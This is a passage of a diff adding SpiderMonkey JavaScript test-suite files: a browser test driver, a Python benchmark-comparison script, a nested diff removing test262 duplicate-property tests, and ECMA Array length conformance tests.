+var jstestsTestPassesUnlessItThrows = false;
+var jstestsRestoreFunction;
+var jstestsOptions;
+
+/*
+ * Signals to this script that the current test case should be considered to
+ * have passed if it doesn't throw an exception.
+ *
+ * Overrides the same-named function in shell.js.
+ */
+function testPassesUnlessItThrows() {
+ jstestsTestPassesUnlessItThrows = true;
+}
+
+/*
+ * Sets a restore function which restores the standard built-in ECMAScript
+ * properties after a destructive test case, and which will be called after
+ * the test case terminates.
+ */
+function setRestoreFunction(restore) {
+ jstestsRestoreFunction = restore;
+}
+
+window.onerror = function (msg, page, line)
+{
+ jstestsTestPassesUnlessItThrows = false;
+
+ // Restore options in case a test case used this common variable name.
+ options = jstestsOptions;
+
+ // Restore the ECMAScript environment after potentially destructive tests.
+ if (typeof jstestsRestoreFunction === "function") {
+ jstestsRestoreFunction();
+ }
+
+ optionsPush();
+
+ if (typeof DESCRIPTION == 'undefined')
+ {
+ DESCRIPTION = 'Unknown';
+ }
+ if (typeof EXPECTED == 'undefined')
+ {
+ EXPECTED = 'Unknown';
+ }
+
+ var testcase = new TestCase("unknown-test-name", DESCRIPTION, EXPECTED, "error");
+
+ if (document.location.href.indexOf('-n.js') != -1)
+ {
+ // negative test
+ testcase.passed = true;
+ }
+
+ testcase.reason = page + ':' + line + ': ' + msg;
+
+ reportFailure(msg);
+
+ optionsReset();
+};
+
+function gc()
+{
+ try
+ {
+ SpecialPowers.forceGC();
+ }
+ catch(ex)
+ {
+ print('gc: ' + ex);
+ }
+}
+
+function options(aOptionName)
+{
+ // return value of options() is a comma delimited list
+ // of the previously set values
+
+ var value = '';
+ for (var optionName in options.currvalues)
+ {
+ value += optionName + ',';
+ }
+ if (value)
+ {
+ value = value.substring(0, value.length-1);
+ }
+
+ if (aOptionName) {
+ if (!(aOptionName in SpecialPowers.Cu)) {
+ // This test is trying to flip an unsupported option, so it's
+ // likely no longer testing what it was supposed to. Fail it
+ // hard.
+ throw "Unsupported JSContext option '"+ aOptionName +"'";
+ }
+
+ if (options.currvalues.hasOwnProperty(aOptionName))
+ // option is set, toggle it to unset
+ delete options.currvalues[aOptionName];
+ else
+ // option is not set, toggle it to set
+ options.currvalues[aOptionName] = true;
+
+ SpecialPowers.Cu[aOptionName] =
+ options.currvalues.hasOwnProperty(aOptionName);
+ }
+
+ return value;
+}
+
+// Keep a reference to options around so that we can restore it after running
+// a test case, which may have used this common name for one of its own
+// variables.
+jstestsOptions = options;
+
+function optionsInit() {
+
+ // hash containing the set options.
+ options.currvalues = {
+ strict: true,
+ werror: true,
+ strict_mode: true
+ };
+
+ // record initial values to support resetting
+ // options to their initial values
+ options.initvalues = {};
+
+ // record values in a stack to support pushing
+ // and popping options
+ options.stackvalues = [];
+
+ for (var optionName in options.currvalues)
+ {
+ var propName = optionName;
+
+ if (!(propName in SpecialPowers.Cu))
+ {
+ throw "options.currvalues is out of sync with Components.utils";
+ }
+ if (!SpecialPowers.Cu[propName])
+ {
+ delete options.currvalues[optionName];
+ }
+ else
+ {
+ options.initvalues[optionName] = true;
+ }
+ }
+}
+
+function jsTestDriverBrowserInit()
+{
+
+ if (typeof dump != 'function')
+ {
+ dump = print;
+ }
+
+ optionsInit();
+ optionsClear();
+
+ if (document.location.search.indexOf('?') != 0)
+ {
+ // not called with a query string
+ return;
+ }
+
+ var properties = {};
+ var fields = document.location.search.slice(1).split(';');
+ for (var ifield = 0; ifield < fields.length; ifield++)
+ {
+ var propertycaptures = /^([^=]+)=(.*)$/.exec(fields[ifield]);
+ if (!propertycaptures)
+ {
+ properties[fields[ifield]] = true;
+ }
+ else
+ {
+ properties[propertycaptures[1]] = decodeURIComponent(propertycaptures[2]);
+ if (propertycaptures[1] == 'language')
+ {
+ // language=(type|language);mimetype
+ properties.mimetype = fields[ifield+1];
+ }
+ }
+ }
+
+ if (properties.language != 'type')
+ {
+ try
+ {
+ properties.version = /javascript([.0-9]+)/.exec(properties.mimetype)[1];
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ if (!properties.version && navigator.userAgent.indexOf('Gecko/') != -1)
+ {
+ // If the version is not specified, and the browser is Gecko,
+ // use the default version corresponding to the shell's version(0).
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=522760#c11
+ // Otherwise adjust the version to match the suite version for 1.6,
+ // and later due to the use of for-each, let, yield, etc.
+ //
+ // The logic to upgrade the JS version in the shell lives in the
+ // corresponding shell.js.
+ //
+ // Note that js1_8, js1_8_1, and js1_8_5 are treated identically in
+ // the browser.
+ if (properties.test.match(/^js1_6/))
+ {
+ properties.version = '1.6';
+ }
+ else if (properties.test.match(/^js1_7/))
+ {
+ properties.version = '1.7';
+ }
+ else if (properties.test.match(/^js1_8/))
+ {
+ properties.version = '1.8';
+ }
+ else if (properties.test.match(/^ecma_6\/LexicalEnvironment/))
+ {
+ properties.version = '1.8';
+ }
+ else if (properties.test.match(/^ecma_6\/Class/))
+ {
+ properties.version = '1.8';
+ }
+ else if (properties.test.match(/^ecma_6\/extensions/))
+ {
+ properties.version = '1.8';
+ }
+ }
+
+ // default to language=type;text/javascript. required for
+ // reftest style manifests.
+ if (!properties.language)
+ {
+ properties.language = 'type';
+ properties.mimetype = 'text/javascript';
+ }
+
+ gTestPath = properties.test;
+
+ if (properties.gczeal)
+ {
+ gczeal(Number(properties.gczeal));
+ }
+
+ var testpathparts = properties.test.split(/\//);
+
+ if (testpathparts.length < 2)
+ {
+ // must have at least suitepath/testcase.js
+ return;
+ }
+
+ document.write('<title>' + properties.test + '<\/title>');
+
+ // XXX bc - the first document.written script is ignored if the protocol
+ // is file:. insert an empty script tag, to work around it.
+ document.write('<script></script>');
+
+ // Output script tags for shell.js, then browser.js, at each level of the
+ // test path hierarchy.
+ var prepath = "";
+ var i = 0;
+ for (end = testpathparts.length - 1; i < end; i++) {
+ prepath += testpathparts[i] + "/";
+ outputscripttag(prepath + "shell.js", properties);
+ outputscripttag(prepath + "browser.js", properties);
+ }
+
+ // Output the test script itself.
+ outputscripttag(prepath + testpathparts[i], properties);
+
+ // Finally output the driver-end script to advance to the next test.
+ outputscripttag('js-test-driver-end.js', properties);
+ return;
+}
+
+function outputscripttag(src, properties)
+{
+ if (!src)
+ {
+ return;
+ }
+
+ var s = '<script src="' + src + '" charset="utf-8" ';
+
+ if (properties.language != 'type')
+ {
+ s += 'language="javascript';
+ if (properties.version)
+ {
+ s += properties.version;
+ }
+ }
+ else
+ {
+ s += 'type="' + properties.mimetype;
+ if (properties.version)
+ {
+ s += ';version=' + properties.version;
+ }
+ }
+ s += '"><\/script>';
+
+ document.write(s);
+}
+
+function jsTestDriverEnd()
+{
+ // gDelayTestDriverEnd is used to
+ // delay collection of the test result and
+ // signal to Spider so that tests can continue
+ // to run after page load has fired. They are
+ // responsible for setting gDelayTestDriverEnd = true
+ // then when completed, setting gDelayTestDriverEnd = false
+ // then calling jsTestDriverEnd()
+
+ if (gDelayTestDriverEnd)
+ {
+ return;
+ }
+
+ window.onerror = null;
+
+ // Restore options in case a test case used this common variable name.
+ options = jstestsOptions;
+
+ // Restore the ECMAScript environment after potentially destructive tests.
+ if (typeof jstestsRestoreFunction === "function") {
+ jstestsRestoreFunction();
+ }
+
+ if (jstestsTestPassesUnlessItThrows) {
+ var testcase = new TestCase("unknown-test-name", "", true, true);
+ print(PASSED);
+ jstestsTestPassesUnlessItThrows = false;
+ }
+
+ try
+ {
+ optionsReset();
+ }
+ catch(ex)
+ {
+ dump('jsTestDriverEnd ' + ex);
+ }
+
+ if (window.opener && window.opener.runNextTest)
+ {
+ if (window.opener.reportCallBack)
+ {
+ window.opener.reportCallBack(window.opener.gWindow);
+ }
+ setTimeout('window.opener.runNextTest()', 250);
+ }
+ else
+ {
+ for (var i = 0; i < gTestcases.length; i++)
+ {
+ gTestcases[i].dump();
+ }
+
+ // tell reftest the test is complete.
+ document.documentElement.className = '';
+ // tell Spider page is complete
+ gPageCompleted = true;
+ }
+}
+
+//var dlog = (function (s) { print('debug: ' + s); });
+var dlog = (function (s) {});
+
+// dialog closer from http://bclary.com/projects/spider/spider/chrome/content/spider/dialog-closer.js
+
+var gDialogCloser;
+var gDialogCloserObserver;
+
+function registerDialogCloser()
+{
+ gDialogCloser = SpecialPowers.
+ Cc['@mozilla.org/embedcomp/window-watcher;1'].
+ getService(SpecialPowers.Ci.nsIWindowWatcher);
+
+ gDialogCloserObserver = {observe: dialogCloser_observe};
+
+ gDialogCloser.registerNotification(gDialogCloserObserver);
+}
+
+function unregisterDialogCloser()
+{
+ gczeal(0);
+
+ if (!gDialogCloserObserver || !gDialogCloser)
+ {
+ return;
+ }
+
+ gDialogCloser.unregisterNotification(gDialogCloserObserver);
+
+ gDialogCloserObserver = null;
+ gDialogCloser = null;
+}
+
+// use an array to handle the case where multiple dialogs
+// appear at one time
+var gDialogCloserSubjects = [];
+
+function dialogCloser_observe(subject, topic, data)
+{
+ if (subject instanceof ChromeWindow && topic == 'domwindowopened' )
+ {
+ gDialogCloserSubjects.push(subject);
+ // timeout of 0 needed when running under reftest framework.
+ subject.setTimeout(closeDialog, 0);
+ }
+}
+
+function closeDialog()
+{
+ var subject;
+
+ while ( (subject = gDialogCloserSubjects.pop()) != null)
+ {
+ if (subject.document instanceof XULDocument &&
+ subject.document.documentURI == 'chrome://global/content/commonDialog.xul')
+ {
+ subject.close();
+ }
+ else
+ {
+ // alerts inside of reftest framework are not XULDocument dialogs.
+ subject.close();
+ }
+ }
+}
+
+registerDialogCloser();
+window.addEventListener('unload', unregisterDialogCloser, true);
+
+jsTestDriverBrowserInit();
diff --git a/js/src/tests/compare_bench.py b/js/src/tests/compare_bench.py
new file mode 100644
index 000000000..cfe9508cd
--- /dev/null
+++ b/js/src/tests/compare_bench.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python2.4
+"""usage: %progname candidate_path baseline_path
+"""
+
+from __future__ import print_function
+
+import json
+import optparse
+from operator import itemgetter
+
+
+def avg(seq):
+ return sum(seq) / len(seq)
+
+
+def compare(current, baseline):
+ percent_speedups = []
+ for key, current_result in current.iteritems():
+ try:
+ baseline_result = baseline[key]
+ except KeyError:
+ print(key, 'missing from baseline')
+ continue
+ val_getter = itemgetter('average_ms', 'stddev_ms')
+ base_avg, base_stddev = val_getter(baseline_result)
+ current_avg, current_stddev = val_getter(current_result)
+ t_best = current_avg - current_stddev
+ t_worst = current_avg + current_stddev
+ base_t_best = base_avg - base_stddev
+ base_t_worst = base_avg + base_stddev
+ if t_worst < base_t_best:
+ # Worst takes less time (better) than baseline's best.
+ speedup = -((t_worst - base_t_best) / base_t_best) * 100
+ result = 'faster: {:6.2f}ms < baseline {:6.2f}ms ({:+6.2f}%)'.format(
+ t_worst, base_t_best, speedup)
+ percent_speedups.append(speedup)
+ elif t_best > base_t_worst:
+ # Best takes more time (worse) than baseline's worst.
+ slowdown = -((t_best - base_t_worst) / base_t_worst) * 100
+ result = 'SLOWER: {:6.2f}ms > baseline {:6.2f}ms ({:+6.2f}%) '.format(
+ t_best, base_t_worst, slowdown)
+ percent_speedups.append(slowdown)
+ else:
+ result = 'Meh.'
+ print('{:30s}: {}'.format(key, result))
+ if percent_speedups:
+ print('Average speedup: {:.2f}%'.format(avg(percent_speedups)))
+
+
+def compare_immediate(current_map, baseline_path):
+ baseline_file = open(baseline_path)
+ baseline_map = json.load(baseline_file)
+ baseline_file.close()
+ compare(current_map, baseline_map)
+
+
+def main(candidate_path, baseline_path):
+ candidate_file, baseline_file = open(candidate_path), open(baseline_path)
+ candidate = json.load(candidate_file)
+ baseline = json.load(baseline_file)
+ compare(candidate, baseline)
+ candidate_file.close()
+ baseline_file.close()
+
+
+if __name__ == '__main__':
+ parser = optparse.OptionParser(usage=__doc__.strip())
+ options, args = parser.parse_args()
+ try:
+ candidate_path = args.pop(0)
+ except IndexError:
+ parser.error('A JSON filepath to compare against baseline is required')
+ try:
+ baseline_path = args.pop(0)
+ except IndexError:
+ parser.error('A JSON filepath for baseline is required')
+ main(candidate_path, baseline_path)
diff --git a/js/src/tests/dupl-prop-changes.diff b/js/src/tests/dupl-prop-changes.diff
new file mode 100644
index 000000000..34d43bd97
--- /dev/null
+++ b/js/src/tests/dupl-prop-changes.diff
@@ -0,0 +1,308 @@
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js
++++ /dev/null
+@@ -1,31 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * a. This production is contained in strict code and IsDataDescriptor(previous) is true and IsDataDescriptor(propId.descriptor) is true
+- *
+- * @path ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js
+- * @description Object literal - SyntaxError for duplicate date property name in strict mode
+- * @onlyStrict
+- */
+-
+-
+-function testcase() {
+-
+- try
+- {
+- eval("'use strict'; ({foo:0,foo:1});");
+- return false;
+- }
+- catch(e)
+- {
+- return (e instanceof SyntaxError);
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-b-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-b-1.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-b-1.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * b.IsDataDescriptor(previous) is true and IsAccessorDescriptor(propId.descriptor) is true.
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-b-1.js
+- * @description Object literal - SyntaxError if a data property definition is followed by get accessor definition with the same name
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({foo : 1, get foo(){}});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-b-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-b-2.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-b-2.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * b.IsDataDescriptor(previous) is true and IsAccessorDescriptor(propId.descriptor) is true.
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-b-2.js
+- * @description Object literal - SyntaxError if a data property definition is followed by set accessor definition with the same name
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({foo : 1, set foo(x){}});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-c-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-c-1.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-c-1.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * c.IsAccessorDescriptor(previous) is true and IsDataDescriptor(propId.descriptor) is true.
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-c-1.js
+- * @description Object literal - SyntaxError if a get accessor property definition is followed by a data property definition with the same name
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({get foo(){}, foo : 1});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-c-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-c-2.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-c-2.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * c.IsAccessorDescriptor(previous) is true and IsDataDescriptor(propId.descriptor) is true.
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-c-2.js
+- * @description Object literal - SyntaxError if a set accessor property definition is followed by a data property definition with the same name
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({set foo(x){}, foo : 1});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-1.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-1.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * d. IsAccessorDescriptor(previous) is true and IsAccessorDescriptor(propId.descriptor) is true and either both previous and propId.descriptor have [[Get]] fields or both previous and propId.descriptor have [[Set]] fields
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-d-1.js
+- * @description Object literal - SyntaxError for duplicate property name (get,get)
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({get foo(){}, get foo(){}});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-2.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-2.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * d. IsAccessorDescriptor(previous) is true and IsAccessorDescriptor(propId.descriptor) is true and either both previous and propId.descriptor have [[Get]] fields or both previous and propId.descriptor have [[Set]] fields
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-d-2.js
+- * @description Object literal - SyntaxError for duplicate property name (set,set)
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({set foo(arg){}, set foo(arg1){}});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-3.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-3.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-3.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * d. IsAccessorDescriptor(previous) is true and IsAccessorDescriptor(propId.descriptor) is true and either both previous and propId.descriptor have [[Get]] fields or both previous and propId.descriptor have [[Set]] fields
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-d-3.js
+- * @description Object literal - SyntaxError for duplicate property name (get,set,get)
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({get foo(){}, set foo(arg){}, get foo(){}});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
+diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-4.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-4.js
+deleted file mode 100644
+--- a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-d-4.js
++++ /dev/null
+@@ -1,29 +0,0 @@
+-/// Copyright (c) 2012 Ecma International. All rights reserved.
+-/// Ecma International makes this code available under the terms and conditions set
+-/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+-/// "Use Terms"). Any redistribution of this code must retain the above
+-/// copyright and this notice and otherwise comply with the Use Terms.
+-/**
+- * Refer 11.1.5;
+- * The production
+- * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+- * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+- * d. IsAccessorDescriptor(previous) is true and IsAccessorDescriptor(propId.descriptor) is true and either both previous and propId.descriptor have [[Get]] fields or both previous and propId.descriptor have [[Set]] fields
+- *
+- * @path ch11/11.1/11.1.5/11.1.5_4-4-d-4.js
+- * @description Object literal - SyntaxError for duplicate property name (set,get,set)
+- */
+-
+-
+-function testcase() {
+- try
+- {
+- eval("({set foo(arg){}, get foo(){}, set foo(arg1){}});");
+- return false;
+- }
+- catch(e)
+- {
+- return e instanceof SyntaxError;
+- }
+- }
+-runTestCase(testcase);
diff --git a/js/src/tests/ecma/Array/15.4-1.js b/js/src/tests/ecma/Array/15.4-1.js
new file mode 100644
index 000000000..5371d71bc
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4-1.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4-1.js
+ ECMA Section: 15.4 Array Objects
+
+ Description: Every Array object has a length property whose value
+ is always an integer with positive sign and less than
+ Math.pow(2,32).
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array Objects";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr[Math.pow(2,32)-2]",
+ "hi",
+ eval("var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr[Math.pow(2,32)-2]")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr.length",
+ (Math.pow(2,32)-1),
+ eval("var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr.length")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr[Math.pow(2,32)-3]",
+ "hi",
+ eval("var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr[Math.pow(2,32)-3]")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr.length",
+ (Math.pow(2,32)-2),
+ eval("var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr.length")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr[Math.pow(2,31)-2]",
+ "hi",
+ eval("var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr[Math.pow(2,31)-2]")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr.length",
+ (Math.pow(2,31)-1),
+ eval("var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr.length")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr[Math.pow(2,31)-1]",
+ "hi",
+ eval("var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr[Math.pow(2,31)-1]")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr.length",
+ (Math.pow(2,31)),
+ eval("var myarr = new Array(); myarr[Math.pow(2,31)-1]='hi'; myarr.length")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr[Math.pow(2,31)]",
+ "hi",
+ eval("var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr[Math.pow(2,31)]")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr.length",
+ (Math.pow(2,31)+1),
+ eval("var myarr = new Array(); myarr[Math.pow(2,31)]='hi'; myarr.length")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr[Math.pow(2,30)-2]",
+ "hi",
+ eval("var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr[Math.pow(2,30)-2]")
+ );
+
+new TestCase(SECTION,
+ "var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr.length",
+ (Math.pow(2,30)-1),
+ eval("var myarr = new Array(); myarr[Math.pow(2,30)-2]='hi'; myarr.length")
+ );
+
+test();
+
diff --git a/js/src/tests/ecma/Array/15.4-2.js b/js/src/tests/ecma/Array/15.4-2.js
new file mode 100644
index 000000000..d16167844
--- /dev/null
+++ b/js/src/tests/ecma/Array/15.4-2.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.4-2.js
+ ECMA Section: 15.4 Array Objects
+
+ Description: Whenever a property is added whose name is an array
+ index, the length property is changed, if necessary,
+ to be one more than the numeric value of that array
+ index; and whenever the length property is changed,
+ every property whose name is an array index whose value
+ is not smaller than the new length is automatically
+ deleted. This constraint applies only to the Array
+ object itself, and is unaffected by length or array
+ index properties that may be inherited from its
+ prototype.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.4-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Array Objects";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var arr=new Array(); arr[Math.pow(2,16)] = 'hi'; arr.length",
+ Math.pow(2,16)+1,
+ eval("var arr=new Array(); arr[Math.pow(2,16)] = 'hi'; arr.length") );
+
+new TestCase( SECTION,
+ "var arr=new Array(); arr[Math.pow(2,30)-2] = 'hi'; arr.length",
+ Math.pow(2,30)-1,
+ eval("var arr=new Array(); arr[Math.pow(2,30)-2] = 'hi'; arr.length") );
+
+new TestCase( SECTION,
